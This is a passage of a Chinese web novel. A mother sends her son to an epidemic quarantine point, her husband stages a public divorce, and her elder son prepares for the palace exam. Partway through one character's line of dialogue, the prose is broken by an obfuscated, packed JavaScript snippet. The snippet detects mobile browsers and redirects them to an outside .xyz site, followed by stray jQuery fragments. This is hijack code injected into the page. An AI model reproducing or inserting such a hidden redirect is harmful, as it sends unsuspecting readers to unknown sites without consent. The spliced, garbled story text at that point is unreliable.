游乘叹了口气，抬起一直低垂的头，“娘，弟弟的病，是不是和李家有关？” “看起来像是李家设计好的，可我们没有证据。”容芝说着，只觉身心俱疲。 她刚从李家回来，衣裳还沾着尘土，此刻只想好好沐浴更衣，舒缓紧绷的神经。 阿桔很快备好了热水和浴桶。 容芝浸在水中，闭着眼思索，难道真要像之前盘算的那样，亲自把儿子送到城郊的管制点，让他接受集中约束？可若是不送，有李经章在，游余染病的消息迟早会传到兵马司耳中，到时游家被扣上包庇、阻碍公务的罪名，所有人都会失去庇护，包括即将参加殿试的游乘。 夜深时，容芝换了一身深色的外出衣裙。 阿桔见了，忙问她要去哪里，容芝一边吩咐虞次去绑游余，一边沉声道，“形势所迫，我得送余儿去城郊的管制点。” 阿桔瞬间懂了，虽不认同，却也没再劝阻，只是低头捂着脸，肩膀微微颤抖，“要去知会正院的老夫人和老侯爷一声吗？他们还不知道余哥儿染病，更不知道您要送他去管制点。” 这正是容芝头疼的事。 可无论她说、不说，她的决定都不会改变，游余的病情也不会好转。 阿桔见她沉默，连忙道，“是我多嘴了，夫人别往心里去。” 正要去南屋帮虞次，院子里却传来嘈杂声。 容芝走出去，只见老夫人邓氏披散着头发，在贞嬷嬷的搀扶下从正院赶来，还没到容芝跟前，就哭喊着要见游余。 南屋里的虞次只好加快动作，把游余绑得结结实实。 邓氏从窗口看到这一幕，哭得更急，跌跌撞撞冲进南屋，一把推开虞次，“你干什么？别碰我的余儿！” 虞次被推得一个踉跄，却毫无怨言。 若有别的办法，他也不愿这样对待游余。 “母亲。” 僵持间，容芝赶到，一边和婆母搭话，一边悄悄给虞次使了个眼色，“你先去郊外等着，不用你赶马车。” 虞次虽诧异，却不敢违抗，微微颔首，退出了南屋。 容芝走到邓氏身边，又喊了声“母亲”。 邓氏回头看她，眼中满是泪水，颤抖的手不停扯着游余身上的绳子，“快松开他，你快让人松开他！” 容芝牵住她的手，语气急切，“母亲，不能松。时间紧迫，再不送余儿走，兵马司的人就要登门抓人了。” 城中管制病患的消息早已传遍，邓氏怎会不知？ 可她就是不愿接受这事落在游家头上，眼泪又涌了出来，“小芝，就没有别的办法了吗？一定要送走余儿吗？他还要参加殿试啊，被兵马司管控着，怎么参加殿试？” “余儿参加不了殿试了。”容芝鼻子发酸，忙背过身掩饰情绪，同时吩咐贞嬷嬷，“快带老夫人回正院，这里场面乱，别伤着她老人家。” 贞嬷嬷含泪应下，和几个丫鬟一起将邓氏从游余身边拉开。 “不可以……”邓氏绝望地哭喊着。 容芝心疼得厉害，怕自己撑不住，便走出屋子，在门外静静等候。 没多久，游余被人架着离开了东园。 邓氏的哭喊声越来越大，容芝站在门前，冷静地吩咐阿桔看好人，照顾好邓氏。 马车停在侯府门前，容芝亲自驾车，正要出发，却见大门里又走出一道身影。 竟是老侯爷，游仁泰。 “小芝啊，非送余儿走不可吗？”游仁泰比邓氏清醒，可正因为清醒，才更不该在这时问出这句话。 答案早已明了。 容芝看着他满是泪水的脸，语气坚定，“必须这样做，请父亲快回去吧。” 马车缓缓启动，转过街口，朝着城郊驶去。 兵马司的人在路口设了卡。 即便认出这是司宁侯府的马车，他们依旧要求容芝下车接受全面检查。 幸而顾及她是女眷，安排了嬷嬷搜身。 可当兵士把游余从车里拉出来时，容芝的心还是一下提到了嗓子眼。 “他染了病？”兵士说着，不等容芝回答，就扯开了游余的后领检查。 容芝没有辩解，她本就是来送游余接受管制的。 “快看……他是今年会试的会元游余！”远处人群中传来一声惊呼。 负责检查的兵士一怔，立刻退开，对着游余躬身道歉，“会元大人，多有得罪。” 游余嘴里塞着布团，无法开口。 容芝本是怕他路上失控，自己应付不来，如今到了兵马司的地界，她也没什么可担心的了，便对兵士问道，“可以拿掉布团，让他喘口气吗？” “当然可以。”兵士应道。 容芝取下布团。 游余大口喘着气，轻声喊了句“娘”。 容芝看着儿子，眼泪忍不住落下，“哪里不舒服？” 游余摇摇头，“您别怕，我还好。” 话音刚落，另一个兵士拉起绑着游余的绳子，将他带进了一间不算宽敞的屋子。 容芝快步跟上，往屋里望去，里面的人或蹲或坐，都好奇地看着他们母子，小声议论着。 “游家的人也被抓来了？” “不是，听说是这位夫人亲自送孩子来的！” “还有这种事？难道不是亲生的？怎么这么狠心？” “唉，儿子发了病，不送来又能怎么办？隐瞒下来，孩子只会更惨。” 容芝正听着，带他们进来的兵士提醒道，“到地方了。” 面前是屋子的一角，地上铺着干草。 兵士还好心地递给容芝一包药，“马上用热水泡服。” “请问，这是什么药？”容芝拉住要走的兵士追问。 “金银花。虽治不好你儿子的病，却能让他好受些。”兵士答道。 容芝提着装满水的壶，让游余坐下，自己则去外面的空地烧水。 见一位老妇人提不动水壶，她便上前帮忙，二人坐在灶台前闲聊，老妇人得知她是侯府媳妇，好奇地问道，“夫人的儿子，是在哪里被咬的？得告知兵士，让他们去清理怪虫。” 容芝请老妇人帮忙看火，起身叫住一个兵士，告知他，李家可能有问题。 兵士愣了一下，“您说的李家，是内阁首辅李经章大人府上吗？” 容芝点头。 兵士思索片刻，立刻和身边几个同伴商量了几句，随即快步行动起来。 回到灶台边时，水已经开了。 容芝刚提起水壶，就被刚才的老妇人追上，“这么说，李家也有被咬的病人？” 容芝这才反应过来，看了看周围，疑惑道，“难道李夫人还没被送来？” 这话恰好被旁边的兵士听到。 他立刻上前问道，“夫人，李首辅的夫人也被虫咬了？” “是，而且李夫人年纪大了，情况更糟。”容芝答道。 兵士脸色一变，立刻追上同伴高声喊道，“快请示大人，要管控内阁首辅李经章的府邸！” 周围的病患顿时面面相觑。 谁也没想到，在这场人心惶惶的虫患中，连位高权重的李经章，也难以幸免。 天亮时，容芝刚给游余喂过一次金银花露，就听见屋外吵吵嚷嚷的。 有人进来小声说，李经章的夫人被送来了。 对此，容芝并不意外，天子犯法尚与庶民同罪，李经章再有权势，也不敢公然对抗皇帝，该遵守的规矩，一样也躲不掉。 与此同时，礼部衙门。 游怜山正坐在值房里，前晚他没回侯府，今早散了早朝，才从差役口中得知游余在李家被咬、已被容芝送去城郊的消息。 他既心疼儿子，也认可容芝的做法，可一想到李经章的夫人也被送去了城郊，李家还被兵马司查封，他就忍不住忧心。 游怜山正等着李经章来找他，值房的门突然被推开。 李经章脸色黑沉地闯进来，一把揪住游怜山的衣领，咬牙切齿道，“都是你家那个容芝告的密！” 游怜山眨了眨眼，心中一片死寂，脸上却装出愧疚的模样，举高双手连声道歉。 可李经章根本不买账，直接命令道，“你必须做点什么，让那个容芝别再害我李家！” 游怜山将手头的事交代给下属，匆匆赶往城郊。 负责看管病患的兵士一见到他，就直接把他带到了屋子的角落。 容芝正坐着，见他来，起身冷冷地问，“你来做什么？” 游怜山毫不犹豫地，指着她，问道，“是你污蔑了李首辅？” 容芝看着他，花了几秒才反应过来。 昨夜他没回家，如今突然赶来，看似是遵李经章的命令来警告她，实则或许是担心她和游余的安危。可这些疑问，她此刻不必深究。她心里清楚，游怜山这趟来，说她污蔑李经章，不过是李经章对他的考验——若他不来，或是不敢当众质问，就不会通过李经章的考验。 容芝正想配合他演戏，却听游怜山再次指着她厉声责问，“容芝！你没看好我儿子，是第一错；贸然跑到这里，丢下家中老父老母不管，是第二错；还捏造谎言构陷内阁首辅，简直无法无天！” 这番话一出，刚才还安静的屋子顿时嗡嗡作响。 周围的人都好奇地打量着游怜山、容芝，还有虚弱得站不稳的游余。 “啧啧！游大人真是一点情面都不给夫人留啊！” “夫人确实错了不少，游大人句句在理，哪有留情面的道理？” “瞧见没？这侯门夫妻感情是真不和，都吵到这儿来了……” “难怪都在传，说游余不是游大人的孩子，生父是少詹事升铭大人！” “这么一看，游大人根本不关心游余的病，倒像是印证了传言！” 可众人没想到的是，就在这时，被他们议论的升铭竟也走进了这间屋子。 升铭行色匆匆，额头满是汗水。 他进来后的第一件事，就是蹲下查看游余的情况，不仅为他诊了脉，还让随从把带来的软垫垫在游余背后，温声询问他在这里是否有不便，还缺些什么。 游余摇摇头，“我只希望娘能陪着我，只要娘在，我什么都不缺。” 升铭这时才想起身边的容芝，连忙起身拱手，“大夫人，辛苦了。” 容芝一见升铭，便知他是奉了太子炎准的命令来的。 这些年双方虽多是公务往来，却也有情分，太子绝不会眼睁睁看着她和孩子陷入困境。可这种复杂的关联，外人根本看不懂，大家见了升铭的举动，只会更误会升铭和容芝的关系。 “传言怕是真的吧？”人群中有人小声猜测。 游怜山猛地回头，瞪了那人一眼，满是警告。 对方立刻低下头不敢再说话。 而身处误会中心的升铭，却没有沉默。 他走到游怜山面前，客气地问，“游侍郎，您也在。” 游怜山仰着脖子，冷笑一声，“升大人，你没能赶在我前面，心里是不是过意不去？” 升铭直起身，目光与他平齐。 二人身高相仿，可此时，游怜山怒气冲冲，远不如升铭那般平静。 “游侍郎心系家人，自然满心记挂。升某前来，不过是出于朋友间的担忧，二者本就不同，何来过意不去之说？”升铭语气平和，带着不容置疑的坦荡。 游怜山似是懒得再与他纠缠，侧身绕过，径直走到游余身边。 游余以为，父亲是来关心自己，勉强撑着身子想说话，却见游怜山只是低头瞥了一眼，连蹲下的意思都没有。 “爹……”游余的声音带着虚弱的颤音。 游怜山却已转过身，冷声道，“幸好你娘夜里就把你送来，若是敢因你让游家蒙难，我可不敢保证，会对你俩做什么。” 听言，游余的眼泪顺着脸颊滑落，“儿子给爹添麻烦了……” 游怜山没再应声，只跟看管的兵士交代了几句，便要转身离开。 升铭却快步追上，拦在他身前，“游侍郎公务繁忙，难得在此碰面，有几句话想与您单独说说，可否借一步？” 游怜山眉头紧锁，面露不悦，“有什么话不能在这里说？尽管讲。” 升铭面露难色，却还是开口道，“此前京中流言四起，说升某与大夫人关系不清。今日当着众人的面，升某想问游侍郎，您既不信流言，也该信大夫人的为人吧？” 游怜山嗤笑一声，“我信不信自己的夫人，与升大人有何相干？” “既是信她，为何不与她把话说开，非要让误会一直延续？”升铭追问，语气里带着一丝急切。 “我如何对待自己的夫人，轮不到外人置喙。” 游怜山甩开升铭的手，力道之大，让升铭踉跄了两步。 而后，他转身走回游余身边，目光扫过地上升铭送来的金银花包，突然抬脚，狠狠将包袱踢散。 纸包裂开，金银花散了一地。 这地方本就缺药，周围的病患见状，立刻涌上来争抢，屋子里瞬间乱作一团。 兵士们忙冲过来维持秩序，呵斥声、抢夺声混在一起。 嘈杂中，游怜山拔高声音，字字清晰，“容芝，你犯错已多！念在你开书局补贴侯府家用这些年，没有功劳也有苦劳，且你在京中无亲无故，我便不将你赶出侯府。但——我们必须和离！” “和离”二字落下，容芝如遭雷击，愣在原地，大脑一片空白。 上一辈子，是她不堪忍受，先提出的“离婚”。 这辈子，却换成游怜山，对她说出这两个字。 可容芝很快清醒过来。 游怜山今日说的这些，不过是演戏的台词，当不得真。 容芝压下心底翻涌的情绪，故意装出震惊又不解的模样，身体一软，瘫坐在了地上。 游余和升铭同时上前扶她。 容芝却挣脱开，死死盯着游怜山，声带颤抖，“阿怜，你当真要与我和离？想好了？” “自然是想好了才提出来的。”游怜山语气冰冷，没有半分犹豫。 霎那间，容芝的眼泪顺着脸颊滚落。 她自己也分不清，这泪是演出来的，还是真的难过，“好，我答应你。但我有一个要求，咱俩要分开，你得给余儿一个选择的机会。毕竟，他已经十六，算是个大人了。” “你是想，让他选你，我就要放他跟你走？”游怜山挑眉问道。 容芝点头，恳求道，“余儿染病，殿试无望。等他病情稳定，我想带他离开京城这是非之地，回我爹娘的宜州，过些安稳日子。” 游怜山沉默了，似在犹豫。 周围的议论声再次响起，有人说，“游大人肯定会答应，总不能连儿子的选择都不顾吧？” 果然，片刻后，游怜山看向游余，“你想清楚，要不要放弃京城的一切，跟你娘走？” 游余没有半分迟疑，脱口而出，“我早就想好了，我选娘。” 这话一出，人群再次炸开了锅。 在众人看来，游余的选择无疑印证了之前的流言。 身为儿子，他宁愿跟着无依无靠的母亲，也不愿留在侯府跟着父亲。 若非他的身份有疑，怎会如此绝情？ “既选了，往后便别来找我反悔。”游怜山冷着脸，语气里没有半分父子温情。 游余虽虚弱，还是挣扎着，转身看向四周，躬身道，“在场诸位作证！升铭大人作证，我游余此生，绝不后悔！” 游怜山冷冷地转身，正要转身离开。 屋外的兵士突然高声通报，“游府大公子到！” 游怜山回头，正撞上长子游乘的目光。 游乘眼底含着泪，先给游怜山行了礼，便快步冲到容芝和游余身边，急切道，“娘！弟弟！你们怎么样？” 容芝又惊又急，“你不在家陪祖父祖母，来这里做什么？快回去！明日还要参加殿试！” 游乘摇头，坚定道，“娘，您别劝了。该准备的我都准备好了，绝不会敷衍殿试。可您和弟弟在这里受苦，我和祖父母怎么能安心？” 随后，游乘看向游怜山，“父亲，刚才您问弟弟的问题，我也有答案。任何时候，我都无条件选娘。” “连你也要跟你娘走？” 游怜山双目圆睁，满是不可置信，“明日就是殿试！抗旨不遵，是要掉脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296157|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋的！” 游乘平静道，“儿子不敢抗旨，定会准时参加殿试。但这与我选娘，并不冲突。” 众人再次哗然，看向游怜山的眼神多了些同情。 两个儿子都不选他，这做父亲的，也实在失败。 游怜山扶住额头，脸色难看至极，垂在身侧的手紧紧攥成拳头。 “甚好，甚好！” 游怜山连说两声，却是嘲讽与不甘。 升铭见他状态不对，忙让随从上前扶住他，劝道，“游侍郎，礼部公务繁忙，您还是先回去吧，别耽误了正事。” 游怜山没有说话，也没有拒绝，任由升铭的随从扶着他走出屋子，坐上马车离开。 马车声渐渐远去。 升铭转头问容芝，“接下来，你打算怎么办？” 容芝没有立刻回答，而是看向游乘，叮嘱道，“殿试在即，不容有失。你现在就回侯府，好好准备，家里的事不用你操心。” 游乘点头应下，又转向游余，“弟弟，你还需要什么？我没法常来，可让虞次叔帮忙送过来。” “我就想看看南屋桌上那几本没看完的新文集。” 游余笑了笑，“不用麻烦虞次叔，让娘回家时帮我带来就好。” 说着，游乘轻轻把容芝往游乘身边推了推，“娘，你跟哥哥一起回去吧，祖父祖母肯定担心坏了。刚才爹提了和离，这事怕是瞒不住，要是传到他们耳朵里，再气出个好歹，可怎么办？” 容芝觉得有理，便把自己剩下的金银花分给旁边一对父子，又拜托他们帮忙照看游余，承诺处理完侯府的事就立刻回来。 那对父子里的儿子本就是兵士，一口答应下来。 游余送他们到屋门口，又对升铭躬身行礼，“今日多谢升铭大人来看我。我爹他……是被猪油蒙了心，才会出言冒犯您，还请您别往心里去。” 升铭扶住他的胳膊，温和道，“朋友之间，何须如此客气？你和游乘信我，我便知足了。那些流言，总会有澄清的一天。” 升铭亲自送容芝和游乘回了侯府。 车刚停稳，容芝就看见婆母邓氏领着三弟妹李氏、四弟游怜海和四弟妹白氏站在府门前，神色焦虑地望着这边。 “小芝！”“大嫂！”几人同时开口，满是担忧。 容芝心里一沉，看来城郊的事，已经传回侯府了。 她快步上前扶住邓氏，问道，“母亲，父亲还好吗？” “家里出了这么大的事，他怎么可能好？”邓氏叹了口气，眼圈通红。 一行人走进正院，容芝和邓氏先来到游仁泰的床前。 刚要开口，游仁泰却先喊了声“小芝”。 嫁进游家二十多年，游仁泰极少这样叫她，容芝心里知道，他定有重要的话要说。 容芝在床沿坐下，轻声道，“父亲，您说，我听着。” 游仁泰那日突然病倒后，便一直在家休养。 邓氏已给宫里递了信，皇帝回复说让他安心养病，大理寺卿的职位依旧给他留着，养病期间不会有其他安排。本以为能松口气，却又传来游怜山在城郊大闹、提出和离的消息。 “游家这是要散了啊……”邓氏抹着眼泪，声音哽咽。 游仁泰脸色一僵，眉头紧锁，猛地提高声音，“有我在，绝不会让小芝离开游家！更不会让游怜山欺负你！”话音刚落，他就剧烈地咳嗽起来，胸口起伏不止。 容芝忙帮他顺背，轻声安抚，“父亲别气，先想想开心的事。明日乘儿要殿试，以他的才学，定能考中状元，为侯府争光！” “孙子定尽全力，不负祖父期望。”游乘上前一步。 游仁泰听了这话，紧绷的脸色稍稍缓和，露出一些些笑意，“乘儿最争气……但小芝，你万万不能走！游怜山敢提和离，我就敢把他赶出游家！他跟李经章同流合污，迟早会栽跟头！我这就写文书，跟他断绝父子关系，往后他的事，与游家无关！” “逆子！你还敢回来！”话音未落，婆母邓氏一声怒喝。 众人回头看向屋门，游怜山不知何时折返了侯府，手里还拿着一份写好的和离书。 游仁泰见此，气得浑身发抖，指着游怜山，“逆子，你给我滚！游家没有你这样的儿子！” 游怜山却面不改色，举起和离书，“爹，您先别气。方才在城郊，容芝自己说了，只要我让余儿、游乘跟她走，她就同意和离。” 而后，他转向容芝，眼神冰冷，“你说，是不是？” 容芝接过和离书，目光划过纸上的字迹，鼻子发酸，眼眶发热。 她深吸一口气，沉声道，“是。我签字。” 邓氏忙拉住她的手，“小芝，你别糊涂！签了字，你就不是游家的人了！” “母亲，我没糊涂。”容芝轻轻挣开她的手，拿起一旁桌上的毛笔，沾了墨，在和离书上落下自己名字。 她仿佛听见心底有什么东西碎了，不是因为和离，而是因为游家走到如今这步，剩下了一地狼藉。 游怜山接过和离书，看了眼她的名字，嘴角闪过不易察觉的苦涩，随即又恢复了冰冷的神色。 “既已签字，往后你我便无瓜葛。游余、游乘既选了你，便也算脱离游家，往后他们的事，与我无关。” “你敢！” 游仁泰气得再次咳嗽，指着游怜山，“余儿和乘儿是游家的孙儿，我还没死，还轮不到你做主！” 游怜山却不再理会，转身就走。 走到门口时，他停顿了一下，没有回头，“爹，您好好养病。别再管我的事，也别再管容芝的事，对您没好处。” 门被关上，屋子里陷入死寂。 邓氏抱着容芝，哭得泣不成声，“小芝，游家怎么就变成这样了？” 容芝拍着她的背，眼眶也红了，却还是强撑着安慰，“母亲，会好的。乘儿明日殿试，只要他能考中，游家就还有希望。余儿的病，我也会想办法治。至于和离……不过是一张纸而已，我还是会留在侯府，照顾您和父亲，守着游家。” 老侯爷游仁泰看着她，满眼愧疚，“真是委屈你了。” “不委屈。”容芝摇摇头，“我嫁进游家二十多年，早就把这里当成自己的家。只要游家还在，我就不会走。” 当晚，容芝没回东园，就在正院守着公爹游仁泰。 长子游乘没敢走远，就在正院的书房休息。 老夫人邓氏，陪着孙儿游乘，坐在他的桌子一旁打着盹。 整个正院静悄悄的，只有烛火和灯笼在跳动。 夜半时分，容芝被敲门声惊醒。 她起身开门，见是虞次，他神色慌张得很，“夫人，城郊那边说，余哥儿的病突然加重！” 容芝来不及多问，抓起外衣就往外跑，“备车！快备车！” 邓氏也被惊醒，忙追出来，“小芝，你小心点！有消息让人回来说一声！” “我知道！” 容芝的声音消失在夜色中。 马车疾驰而出，朝着城郊的方向奔去。 容芝不敢想，儿子游余若出了什么事，她该怎么面对，又该怎么面对游家长辈。 车厢里，容芝双手合十，默默祈祷，余儿一定要撑住。 城郊的管制点灯火通明。 兵士见容芝来了，立刻领着她往看管游余的屋子走。 容芝刚到门口，听见里面传来朋友升铭的声音，“快，再拿点热水来！又发热了！” 容芝提着灯笼，冲进屋子，见儿子游余躺在床上，脸色通红，呼吸急促。 升铭跪坐在他的身边，为他擦拭额头的汗水。 “孩子！”容芝扑上前，握住游余的手，只觉得烫得惊人。 游余缓缓睁开眼，看见容芝，虚弱地笑笑，“娘……来了……” 容芝的眼泪掉在手背上，“娘来了，就在这里，你别怕，会有办法救你。” 升铭微微侧身过来，低声对她说，“傍晚开始发热，一直退不下去。兵士说，这里缺药，只能用水降温。我已经让人进宫，以太子殿下的名义，通知太医院，看看能不能送些药来，，不过，现在还没消息。” 容芝擦干了泪，定定神，“谢谢升铭大人。我守着他就好，你去休息。” “我还不困，再陪夫人等一会，”升铭没有离开，拿起旁边的布巾，继续帮游余擦拭。 就在这时，屋外一阵喧哗。 容芝出去查看，一群兵士簇拥着一个人进来，是太医院院判。 院判快步走到容芝面前，躬身行礼，“大夫人，太子殿下得知二公子病情加重，特意命下官前来诊治。” 容芝忙侧身让开，“有劳院判大人！里面请！” 院判为游余诊脉，眉头紧锁，“二公子是虫毒入体，引发高热。幸得之前用了金银花，暂缓了毒势，否则后果不堪设想。下官开一剂退热解毒的方子，可先稳住病情，至于后续……还需慢慢观察。” 容芝看他写下方子，立刻递给兵士，“劳驾！按方抓药，煎好送来。” 兵士领命而去。 容芝看着院判，满心感激，“请替我转告太子殿下，谢谢。” 院判躬身道，“大夫人不客气，太子殿下说，二公子是栋梁之才，绝不能就此倒下。下官会每隔一日来复诊，直到二公子病情稳定。” 院判离开后，容芝的心放下了一些。 升铭看着她，笑道，“这下可放心了。太子殿下既然出手，二公子的病定会好起来。” 容芝点点头，看向身后游余，重新燃起希望。 身后的游家如今虽难，余儿能好，乘儿能在殿试中得偿所愿，一切就还有转机。 天快亮时，药煎好了。 容芝喂给游余喝下，看他的呼吸渐渐平稳，脸色也慢慢恢复了血色，松了口气。 升铭站起身，“夫人，我该回府了。你也歇会儿，有兵士照看，不会有事。” 容芝送他到门口，再次道谢，“这次多亏升铭大人。” “朋友之间，不必言谢，”升铭摆摆手，转身离开。 容芝回到屋子，坐在游余身边，握住他的手。 天渐渐亮了，阳光透照进来。 游余的面颊不再红热，容芝看着他，轻声道，“余儿，天亮了，一切会再好起来的。” 与此同时。 司宁侯府里，游乘已经起身，整理好衣袍，准备出门参加殿试。 老夫人邓氏为游乘整理着衣领，眼中尽是期盼，“乘儿别紧张，发挥出水平就好，你娘和你祖父都在家里等你的好消息。” 游乘点点头，“孙儿知道，定会努力考中状元，为游家争光，也为娘和弟弟争口气。” 他拜别邓氏和游仁泰，走出侯府。 马车早已备好，朝着皇宫的方向驶去。 游乘望着侧窗外的街景，心中念头愈发强烈。 要考中，要让游家好起来，要让娘和弟弟的余生，安稳些。 64. 长子状元，侯爷过世 容芝从书局捎来的新文集，不过两日，就被游余翻得页角微卷。 城郊管制点，烛火摇曳，映着少年专注的侧脸。 这是游余被困在此地，唯一能暂忘病痛、焦虑的慰藉。 容芝坐在他的身边，看着他将最后一页合上，心里的愁又浓了些。 虫咬病的发热症状反复，她母子俩，真不知何时才能离开这满是药味的矮屋。 容芝拨开游余额前的发，“明日我让虞次送书来，你累了，就多歇会儿，别熬坏了身子。” 游余点头应着，目光却仍落在书页上，似是还沉浸在文中意境。 见此，容芝悄悄退到屋外，摸出一枚刻着“不足斋”的木牌，将木牌交给门外的兵士，低声嘱托，“劳烦小哥去前面山下，转交给我府上的侍卫，虞次，请他从书局挑些新书，若是方便，也问问府中近况。” 这晚，虞次果然来了。 他肩上挎着布包，沾着几个泥点子。 却不知为何，他往日总是挺直的脊背，看着微微有些佝偻。 此外，他眼角的泪也没干，鬓边的发丝黏在脸上，看起来颇为憔悴。 容芝见了他这副样子，心猛地一沉。 虞次跟着游家快二十年，是出了名的沉稳可靠，遇上任何事都能应对，也没掉过一滴泪，如今他这般模样，定是府中出了大事。 “虞次，你跟我来。” 容芝拉着他往稍远处的柳树下走，风拂面，柳丝飞，吹不散两人之间的凝重气氛。 她回头望了眼屋内，儿子游余仍是在烛台下翻书，视线片刻不离书页，倒没留意到外面的动静。 “夫人，您要的书我带了，还有贞嬷嬷给的些滋补药材。”虞次将布包递过来。 容芝接过布包，却没心思看里面的东西，追问道，“府里是不是出了什么事？阿桔呢？她和孩子还好不好？” 阿桔是她在府中最贴心的人，更是虞次的妻子，容芝现在的反应就是，阿桔这丫头出了危险。 虞次垂着头，嘴唇动了动，却只摇摇头。 容芝又问起婆母邓氏的身体、公爹游仁泰的近况，连三弟妹四弟四弟妹，都问到了。 可虞次要么沉默，要么含糊点头，始终不肯说句准话。 “虞次，你要是再瞒着我，我今日就自己回府去看！” 容芝急了，声音不自觉提高几分。 管制点虽不让随意惊扰，但她现在也顾不得那么多。 虞次被她的话惊得抬起头，脸上满是慌张，“夫人万万不可！余哥儿还需要人照看，您要是走了，他怎么办？” 容芝看着他。 他拗不过，犹豫半晌终于松了口，“您若实在放心不下，便回府看看吧，只是……您得快些回来。” 容芝当即决定回府。 她让虞次留下照看游余，又反复叮嘱虞次，“若是他再发热，就先按太医给的方子煎药，我很快回来接替你。” 可等容芝回了侯府，才知她把事情的走向完全猜错了。 出事的并非她长房的阿桔，而是……老侯爷游仁泰。 昨儿后半夜，容芝从家离开时，游仁泰虽说被游怜山气了一遭，精神头却还不错，但这会儿容芝刚一走进正院的门，就听见婆母邓氏难过的哭声。 游仁泰在劝邓氏，让她别太伤心，“这辈子，我怕是不能陪你走下去了，很感激你，帮我照顾家中的孩子们。” 这席话透出的意味，再明白不过。 容芝不自觉加快脚步，她跑进里屋，跑到游仁泰的床边，和婆母邓氏站在一起。 也许是惊讶，也许是欣慰，游仁泰认出是容芝回了家，常年古板的脸孔浮上笑意。 他看着容芝，问了一句“游余”，说道，“你一个人回来，那就是余哥儿没事！可惜我身子不方便，不能去看看他了……” “父亲您别说了，”容芝的眼泪落下来，她总以为，自己对这个世界的感情没有多深厚。 可她也知道，自己最擅长的就是自我欺骗，和死不承认。 婆母邓氏神志恍惚着，侧身一把抱住容芝，哑声地哭，并问容芝，“游家是不是快没了，小芝？” 容芝没有回答，只是抬手轻轻地拍邓氏的背，就像哄着年幼的孩子。 她不知道该怎么回答，也不敢去想那个最坏的结果。 游仁泰闭上了眼睛，泪水从眼角滑落。 最近的他，常常无力顾及朝堂，也无力改善和长子游怜山的父子关系，在生命快要到尽头的时候，他开始反思这一生的错误。 他说的，其实反复就那么几件错事，被提到次数最多的，便是他鬼迷心窍，帮李经章做的那一桩惊天换命案。 “如果没有那件事，我的阿怜不会变成现在这样！” “……” 容芝陪着他睡着，仔细地探过他的鼻息，确认他只是睡着，才敢离开这间屋子。 她还得赶去城郊，家中和城郊都有她放不下的牵挂，只能安抚完一头，立刻赶去另一头。 正院的老人需要人照看，只能交给信任的贞嬷嬷。 可贞嬷嬷年岁已高，精力不济，容芝又让人去长房东园，喊来贴身的丫鬟阿桔，对阿桔交代再三。 阿桔抱来了女儿阿柳，孩子才只有一岁，性子开朗得很，逢人就笑。 有小阿柳陪着婆母邓氏，容芝便更放心了些。 此刻，阿柳伸出肉乎乎的小手，要容芝抱。 容芝接过阿柳，轻捏她的脸颊，心里稍稍安定了些。 但就在容芝准备离开侯府时，阿桔又提起一件揪心的事，问她道，“余哥儿没参加殿试，会有什么后果？” 容芝站在马车下，认真地想了想，“你倒是提醒了我，皇命如天，我不能放任此事不管。” 缺席殿试的后果，她没告诉阿桔，具体要怎么做，她也没告诉阿桔。 马车跑了起来，一直走过了街口，容芝才掀开布帘，吩咐车夫说，“去一趟礼部衙门。” 车夫一边赶车，一边好奇地问，“夫人要去见大爷？” 容芝嗯了声，没再多说。 去见游怜山是无奈之举，也是她能想到的最可能帮忙的人。 但就在昨天，她刚和游怜山“和离”，虽说只是做给外人看的戏码，可这事闹得满城皆知，今日去找他，免不了要受些难堪。 一个被和离的女子，追上衙门里找男子，这事听着就有一种莫名的心酸劲儿。 容芝咬咬牙，为了儿子游余的前途，她必须走这一趟，必须去“求”游怜山出面。 礼部衙门口的差役见了容芝，看她的眼神复杂。 他们先前见容芝时，哪个不是毕恭毕敬地喊“夫人”，今日却拦在门口，双手抱在胸前，口气疏离，“你找游侍郎？” 容芝放低姿态，厚着脸皮点头，“我有急事找他。” 差役仍堵在入口不让，“夫人，这里是衙门重地，如果人人都像您这样不守规矩，成什么体统？再说了，您如今和游侍郎已经和离，再来找他，怕是不太合适吧？” 容芝看他一眼，忍不住拔高音调，“之前我来，你们也不是这种态度啊！” 差役笑笑，“今非昔比嘛！反正，今日不能再让你进去，也不会帮你通传游侍郎，你最好立刻离开，否则，别怪我不客气！” 说着，他竟是直接拔出佩刀，把刀尖指向了容芝。 容芝捏紧拳头，如是此刻退让，游余的前途便彻底毁了。 她迎着刀刃上前，甚至更大声地说道，“不必威胁我！也给你一句话，如果我见不到游怜山，便在门口守着，直到他下值！”而后，她又往刀刃上逼近一步。 差役被她的气势吓到，忙后退，惊讶道，“你、你果然是泼妇！” 二人的话音震天，争吵的内容还如此大胆，引来不少人的围观。 值房内的游怜山打了个喷嚏，起身走到窗前看了看，见来的是容芝，顿时心紧。 他回头看了眼桌上刚写好的本子，这是他准备为游余缺考殿试而准备的本子，打算在皇帝面前求情，为游余谋得一个重考会试和殿试的机会。 游怜山没有拿起那本子，走出值房时，故意板起了脸，装作被打扰，心烦意乱的架势，快步来到门口，对阻拦的差役说道，“何事如此喧哗？” “回大人，属下这就把她赶走！”差役躬身回了话。 而后，再拔出佩刀，朝着不肯离开的容芝上去。 容芝回过神，仍然没退后，她仰头看向站在台阶上的游怜山，“阿怜，我找你真的有急事！能否请你过来，听我把话说完？” 差役吼道，“放肆！再敢靠近，休怪我刀剑无眼！” “行了下去吧，瞧你这样儿？也不怕坏了礼部的名声，整天打打杀杀的……” 游怜山烦躁地叹气，直接绕过那差役。 差役不敢违抗，只好收起佩刀，悻悻地退到一边。 而游怜山走到容芝的跟前，脸上没什么表情，“我给你一盏茶的时间，你有话就说，说完就走，别在这儿都人现眼，懂不懂？” 容芝点头，伸手拉住游怜山的袖子，好似害怕他还要走。 游怜山原本可以直接甩开她，但他没有那样做，他任由容芝拉住他，在旁人看不到的瞬间，对容芝苦笑了笑。 “我是为了余哥儿……想着，你是他爹，总不会眼睁睁地看他的前途被毁，明明一身才情，却只能落得个三甲进士，”容芝说。 